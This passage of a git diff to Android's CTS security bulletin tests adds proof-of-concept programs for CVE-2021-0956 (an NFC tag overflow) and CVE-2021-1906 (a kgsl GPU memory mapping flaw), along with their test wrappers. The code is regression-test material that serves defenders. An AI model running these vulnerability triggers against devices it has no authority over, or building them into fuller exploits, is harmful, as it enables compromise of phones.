-        return lightIt->second;
-    };
-
-    virtual bool isExternal(int32_t) const { return false; }
-
-    void dump(std::string&) override {}
-
-    void monitor() override {}
-
-    void requestReopenDevices() override {}
-
-    void wake() override {}
-};
-
-// --- TestInputMapper---
-
-class TestInputMapper : public InputMapper {
-    uint32_t mSources;
-    int32_t mKeyboardType;
-    int32_t mMetaState;
-    KeyedVector<int32_t, int32_t> mKeyCodeStates;
-    KeyedVector<int32_t, int32_t> mScanCodeStates;
-    KeyedVector<int32_t, int32_t> mSwitchStates;
-    std::vector<int32_t> mSupportedKeyCodes;
-
-    std::mutex mLock;
-    std::condition_variable mStateChangedCondition;
-    bool mConfigureWasCalled GUARDED_BY(mLock);
-    bool mResetWasCalled GUARDED_BY(mLock);
-    bool mProcessWasCalled GUARDED_BY(mLock);
-    RawEvent mLastEvent GUARDED_BY(mLock);
-
-    std::optional<DisplayViewport> mViewport;
-
-public:
-    TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
-          : InputMapper(deviceContext),
-            mSources(sources),
-            mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
-            mMetaState(0),
-            mConfigureWasCalled(false),
-            mResetWasCalled(false),
-            mProcessWasCalled(false) {}
-
-    virtual ~TestInputMapper() {}
-
-    void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
-
-    void setMetaState(int32_t metaState) { mMetaState = metaState; }
-    void setKeyCodeState(int32_t keyCode, int32_t state) {
-        mKeyCodeStates.replaceValueFor(keyCode, state);
-    }
-
-    void setScanCodeState(int32_t scanCode, int32_t state) {
-        mScanCodeStates.replaceValueFor(scanCode, state);
-    }
-
-    void setSwitchState(int32_t switchCode, int32_t state) {
-        mSwitchStates.replaceValueFor(switchCode, state);
-    }
-
-    void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
-
-private:
-    uint32_t getSources() override { return mSources; }
-
-    void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
-        InputMapper::populateDeviceInfo(deviceInfo);
-
-        if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
-            deviceInfo->setKeyboardType(mKeyboardType);
-        }
-    }
-
-    void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mConfigureWasCalled = true;
-
-        // Find the associated viewport if exist.
-        const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
-        if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
-            mViewport = config->getDisplayViewportByPort(*displayPort);
-        }
-
-        mStateChangedCondition.notify_all();
-    }
-
-    void reset(nsecs_t) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mResetWasCalled = true;
-        mStateChangedCondition.notify_all();
-    }
-
-    void process(const RawEvent* rawEvent) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mLastEvent = *rawEvent;
-        mProcessWasCalled = true;
-        mStateChangedCondition.notify_all();
-    }
-
-    int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
-        ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
-        return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
-        ssize_t index = mScanCodeStates.indexOfKey(scanCode);
-        return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getSwitchState(uint32_t, int32_t switchCode) override {
-        ssize_t index = mSwitchStates.indexOfKey(switchCode);
-        return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    // Return true if the device has non-empty key layout.
-    bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
-                               uint8_t* outFlags) override {
-        for (size_t i = 0; i < numCodes; i++) {
-            for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
-                if (keyCodes[i] == mSupportedKeyCodes[j]) {
-                    outFlags[i] = 1;
-                }
-            }
-        }
-        bool result = mSupportedKeyCodes.size() > 0;
-        return result;
-    }
-
-    virtual int32_t getMetaState() { return mMetaState; }
-
-    virtual void fadePointer() {}
-
-    virtual std::optional<int32_t> getAssociatedDisplay() {
-        if (mViewport) {
-            return std::make_optional(mViewport->displayId);
-        }
-        return std::nullopt;
-    }
-};
-
-// --- InstrumentedInputReader ---
-
-class InstrumentedInputReader : public InputReader {
-    std::queue<std::shared_ptr<InputDevice>> mNextDevices;
-
-public:
-    InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
-                            const sp<InputReaderPolicyInterface>& policy,
-                            const sp<InputListenerInterface>& listener)
-          : InputReader(eventHub, policy, listener), mTestContext(this) {}
-
-    virtual ~InstrumentedInputReader() {}
-
-    void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
-
-    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
-                                           const std::string& location = "") {
-        InputDeviceIdentifier identifier;
-        identifier.name = name;
-        identifier.location = location;
-        int32_t generation = deviceId + 1;
-        return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
-    }
-
-    // Make the protected loopOnce method accessible to tests.
-    using InputReader::loopOnce;
-
-protected:
-    virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
-                                                            const InputDeviceIdentifier& identifier)
-            REQUIRES(mLock) {
-        if (!mNextDevices.empty()) {
-            std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
-            mNextDevices.pop();
-            return device;
-        }
-        return InputReader::createDeviceLocked(eventHubId, identifier);
-    }
-
-    // --- TestInputReaderContext ---
-    class TestInputReaderContext : public ContextImpl {
-        int32_t mGlobalMetaState;
-        bool mUpdateGlobalMetaStateWasCalled;
-        int32_t mGeneration;
-
-    public:
-        TestInputReaderContext(InputReader* reader)
-              : ContextImpl(reader),
-                mGlobalMetaState(0),
-                mUpdateGlobalMetaStateWasCalled(false),
-                mGeneration(1) {}
-
-        virtual ~TestInputReaderContext() {}
-
-        void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
-
-        void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
-
-        uint32_t getGeneration() { return mGeneration; }
-
-        void updateGlobalMetaState() override {
-            mUpdateGlobalMetaStateWasCalled = true;
-            ContextImpl::updateGlobalMetaState();
-        }
-
-        int32_t getGlobalMetaState() override {
-            return mGlobalMetaState | ContextImpl::getGlobalMetaState();
-        }
-
-        int32_t bumpGeneration() override {
-            mGeneration = ContextImpl::bumpGeneration();
-            return mGeneration;
-        }
-    } mTestContext;
-
-public:
-    TestInputReaderContext* getContext() { return &mTestContext; }
-};
-
-// --- InputMapperTest ---
-
-class InputMapperTest {
-public:
-    std::shared_ptr<TestEventHub> mTestEventHub;
-    sp<TestInputReaderPolicy> mTestPolicy;
-    sp<TestInputListener> mTestListener;
-    std::unique_ptr<InstrumentedInputReader> mReader;
-    std::shared_ptr<InputDevice> mDevice;
-
-    virtual void SetUp(Flags<InputDeviceClass> classes) {
-        mTestEventHub = std::make_unique<TestEventHub>();
-        mTestPolicy = new TestInputReaderPolicy();
-        mTestListener = new TestInputListener();
-        mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
-                                                            mTestListener);
-        mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
-    }
-
-    void SetUp() { SetUp(DEVICE_CLASSES); }
-
-    void TearDown() {
-        mTestListener.clear();
-        mTestPolicy.clear();
-    }
-    virtual ~InputMapperTest() {}
-
-    void addConfigurationProperty(const char* key, const char* value) {
-        mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
-    }
-
-    void configureDevice(uint32_t changes) {
-        if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
-            mReader->requestRefreshConfiguration(changes);
-            mReader->loopOnce();
-        }
-        mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
-    }
-
-    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
-                                           const std::string& location, int32_t eventHubId,
-                                           Flags<InputDeviceClass> classes) {
-        InputDeviceIdentifier identifier;
-        identifier.name = name;
-        identifier.location = location;
-        std::shared_ptr<InputDevice> device =
-                std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
-                                              identifier);
-        mReader->pushNextDevice(device);
-        mTestEventHub->addDevice(eventHubId, name, classes);
-        mReader->loopOnce();
-        return device;
-    }
-
-    template <class T, typename... Args>
-    T& addMapperAndConfigure(Args... args) {
-        T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
-        configureDevice(0);
-        mDevice->reset(ARBITRARY_TIME);
-        mapper.reset(ARBITRARY_TIME);
-        return mapper;
-    }
-
-    void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
-                                      int32_t orientation, const std::string& uniqueId,
-                                      std::optional<uint8_t> physicalPort,
-                                      ViewportType viewportType) {
-        mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
-                                        uniqueId, physicalPort, viewportType);
-        configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-    }
-
-    void clearViewports() { mTestPolicy->clearViewports(); }
-
-    void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
-                 int32_t value) {
-        RawEvent event;
-        event.when = when;
-        event.readTime = readTime;
-        event.deviceId = mapper.getDeviceContext().getEventHubId();
-        event.type = type;
-        event.code = code;
-        event.value = value;
-        mapper.process(&event);
-        mReader->loopOnce();
-    }
-    void Process_DeactivateViewport_AbortTouches();
-};
-
-void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
-    SetUp();
-    addConfigurationProperty("touch.deviceType", "touchScreen");
-    mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
-                                    DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
-                                    ViewportType::INTERNAL);
-    std::optional<DisplayViewport> optionalDisplayViewport =
-            mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
-    DisplayViewport displayViewport = *optionalDisplayViewport;
-
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
-    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
-    MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
-
-    // Finger down
-    int32_t x = 100, y = 100;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
-    NotifyMotionArgs motionArgs;
-
-    // Deactivate display viewport
-    displayViewport.isActive = false;
-    mTestPolicy->updateViewport(displayViewport);
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
-    // Finger move
-    x += 10, y += 10;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
-    // Reactivate display viewport
-    displayViewport.isActive = true;
-    mTestPolicy->updateViewport(displayViewport);
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
-    // Finger move again
-    x += 10, y += 10;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-}
-
-} // namespace android
-
-int main() {
-    android::InputMapperTest inputMapperTest;
-    inputMapperTest.Process_DeactivateViewport_AbortTouches();
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
new file mode 100644
index 0000000..9cd2b81
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0956",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults"
+    ],
+    srcs: [
+        "poc.cpp"
+    ],
+    shared_libs: [
+       "libnfc_nci_jni",
+    ],
+    header_libs: [
+        "jni_headers"
+    ],
+    include_dirs: [
+        "packages/apps/Nfc/nci/jni",
+        "system/nfc/src/nfa/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/include",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/nfc/include",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
new file mode 100644
index 0000000..1d5d5e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define private public
+#include "NfcTag.h"
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
+int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    NfcTag tag = {};
+    tag.mTechListTail = NfcTag::MAX_NUM_TECHNOLOGY;
+    tag.mNumTechList = NfcTag::MAX_NUM_TECHNOLOGY;
+    tNFA_ACTIVATED activationData = {};
+    isTestInProgress = true;
+    tag.discoverTechnologies(activationData);
+    isTestInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
new file mode 100644
index 0000000..86e17dc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
@@ -0,0 +1,7 @@
+cc_test {
+    name: "CVE-2021-1906",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.c",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
new file mode 100644
index 0000000..9163217
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
@@ -0,0 +1,90 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+#define KGSL_IOC_TYPE 0x09
+#define KGSL_MEMTYPE_COMMAND 16
+
+enum kgsl_user_mem_type {
+  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
+  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
+  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
+  KGSL_USER_MEM_TYPE_ION = 0x00000003,
+  KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,
+  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
+};
+
+struct kgsl_drawctxt_create {
+  unsigned int flags;
+  unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+  _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+struct kgsl_map_user_mem {
+  int fd;
+  unsigned long gpuaddr;
+  size_t len;
+  size_t offset;
+  unsigned long hostptr;
+  enum kgsl_user_mem_type memtype;
+  unsigned int flags;
+};
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+struct kgsl_sharedmem_free {
+  unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_SHAREDMEM_FREE \
+  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
+
+struct kgsl_gpumem_alloc {
+  unsigned long gpuaddr;
+  size_t size;
+  unsigned int flags;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC \
+  _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)
+
+struct kgsl_gpumem_alloc_id {
+  unsigned int id;
+  unsigned int flags;
+  size_t size;
+  size_t mmapsize;
+  unsigned long gpuaddr;
+  unsigned long __pad[2];
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+  _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_gpumem_get_info {
+  unsigned long gpuaddr;
+  unsigned int id;
+  unsigned int flags;
+  size_t size;
+  size_t mmapsize;
+  unsigned long useraddr;
+  unsigned long __pad[4];
+};
+
+#define IOCTL_KGSL_GPUMEM_GET_INFO \
+  _IOWR(KGSL_IOC_TYPE, 0x36, struct kgsl_gpumem_get_info)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
new file mode 100644
index 0000000..f8eaee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
@@ -0,0 +1,173 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2021-1906
+ */
+
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+#include "msm_kgsl.h"
+
+static void *code_page_cpu_addr = MAP_FAILED;
+static unsigned long code_page_gpu_addr = 0;
+
+#define int64 int64_t
+#define EXPLOIT_VULN_ADDR 0xdff00000
+
+unsigned int ctx_id = 0;
+
+int gpu_mem_alloc_id(int fd, int size, int flags,
+                     struct kgsl_gpumem_alloc_id *alloc) {
+  int ret = -1;
+  alloc->flags = flags;
+  alloc->size = size;
+
+  ret = ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC_ID, alloc);
+  return ret;
+}
+
+int gpu_sharedmem_free(int fd, unsigned long gpu_addr) {
+  struct kgsl_sharedmem_free addr;
+  int ret = -1;
+  addr.gpuaddr = gpu_addr;
+  ret = ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &addr);
+  return ret;
+}
+
+unsigned long gpu_mem_alloc(int fd, int size, unsigned int flags) {
+  struct kgsl_gpumem_alloc alloc = {0};
+  alloc.size = size;
+  alloc.flags = flags;
+
+  if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &alloc) < 0) {
+    return -1;
+  }
+  return alloc.gpuaddr;
+}
+
+int gpu_mem_get_info_from_id(int fd, int id,
+                             struct kgsl_gpumem_get_info *info) {
+  int ret = -1;
+  info->id = id;
+  info->gpuaddr = 0;
+  ret = ioctl(fd, IOCTL_KGSL_GPUMEM_GET_INFO, info);
+  return ret;
+}
+
+int kgsl_init() {
+  int kgsl = open("/dev/kgsl-3d0", O_RDWR | O_LARGEFILE);
+  if (kgsl < 0) {
+    return -1;
+  }
+
+  struct kgsl_drawctxt_create ctxc;
+  ctxc.flags = 0x1010D2;
+  ctxc.drawctxt_id = 0;
+  if (ioctl(kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxc) < 0) {
+    return -1;
+  }
+  ctx_id = ctxc.drawctxt_id;
+  return kgsl;
+}
+
+int gpu_map_user_mem(int fd, uintptr_t addr, size_t size, size_t offset,
+                     unsigned int flags, unsigned long *gpu_addr) {
+  struct kgsl_map_user_mem user_mem = {0};
+  int result = 0;
+
+  user_mem.fd = -1;
+  user_mem.gpuaddr = 0;
+  user_mem.len = size;
+  user_mem.offset = offset;
+  user_mem.hostptr = addr;
+  user_mem.flags = flags;
+  user_mem.memtype = KGSL_USER_MEM_TYPE_ADDR;
+
+  result = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &user_mem);
+  if (gpu_addr) {
+    *gpu_addr = user_mem.gpuaddr;
+  }
+  return result;
+}
+
+int create_code_page(int fd, int size, void **cpu_addr,
+                     unsigned long *gpu_addr) {
+  struct kgsl_gpumem_alloc_id alloc = {0};
+  struct kgsl_gpumem_get_info info = {0};
+  void *cpu_mapping = MAP_FAILED;
+
+  if (gpu_mem_alloc_id(fd, size,
+                       KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_GPUREADONLY |
+                           KGSL_MEMTYPE_COMMAND,
+                       &alloc) < 0) {
+    return -1;
+  }
+
+  cpu_mapping =
+      mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, alloc.id << 12);
+  if (cpu_mapping == MAP_FAILED) {
+    return -1;
+  }
+
+  if (gpu_mem_get_info_from_id(fd, alloc.id, &info) < 0) {
+    return -1;
+  }
+
+  *cpu_addr = cpu_mapping;
+  *gpu_addr = info.gpuaddr;
+  return 0;
+}
+
+void trigger(int fd, uintptr_t start, uintptr_t end) {
+  void *hostptr = mmap((void *)start, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
+                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+  mprotect((void *)((uintptr_t)hostptr + PAGE_SIZE), PAGE_SIZE, PROT_NONE);
+
+  gpu_map_user_mem(fd, (uintptr_t)hostptr, end - start, 0,
+                   KGSL_MEMFLAGS_USE_CPU_MAP, NULL);
+  munmap(hostptr, 2 * PAGE_SIZE);
+}
+
+int main(void) {
+  int kgsl_fd = kgsl_init();
+  unsigned long gpu_addr = 0;
+  unsigned long next_gpu_addr = 0;
+
+  FAIL_CHECK(!(kgsl_fd < 0));
+
+  if (create_code_page(kgsl_fd, 4 * PAGE_SIZE, &code_page_cpu_addr,
+                       &code_page_gpu_addr) < 0) {
+    close(kgsl_fd);
+    return EXIT_FAILURE;
+  }
+
+  next_gpu_addr = gpu_mem_alloc(kgsl_fd, PAGE_SIZE, 0);
+  gpu_sharedmem_free(kgsl_fd, next_gpu_addr);
+  trigger(kgsl_fd, next_gpu_addr, EXPLOIT_VULN_ADDR);
+  gpu_addr = gpu_mem_alloc(kgsl_fd, 0x600000, 0);
+
+  close(kgsl_fd);
+  return (gpu_addr == EXPLOIT_VULN_ADDR) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
similarity index 74%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 4df0f6f..0990cd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,20 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2018_9410 extends SecurityTestCase {
 
     /**
-     * b/179839665
-     * Vulnerability Behaviour: SIGSEGV in Self
+     * b/77822336
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 179839665)
+    @AsbSecurityTest(cveBugId = 77822336)
     @Test
-    public void testPocCVE_2021_0684() throws Exception {
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+    public void testPocCVE_2018_9410() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9410", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
similarity index 72%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 4df0f6f..8f37185 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,20 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_0490 extends SecurityTestCase {
 
-    /**
-     * b/179839665
-     * Vulnerability Behaviour: SIGSEGV in Self
-     */
-    @AsbSecurityTest(cveBugId = 179839665)
+    @AsbSecurityTest(cveBugId = 183464868)
     @Test
-    public void testPocCVE_2021_0684() throws Exception {
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+    public void testPocCVE_2021_0490() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2021-0490", getDevice(), 60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
new file mode 100644
index 0000000..80fa239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0956 extends SecurityTestCase {
+
+    /**
+     * b/189942532
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 189942532)
+    @Test
+    public void testPocCVE_2021_0956() throws Exception {
+        pocPusher.only64();
+        ITestDevice device = getDevice();
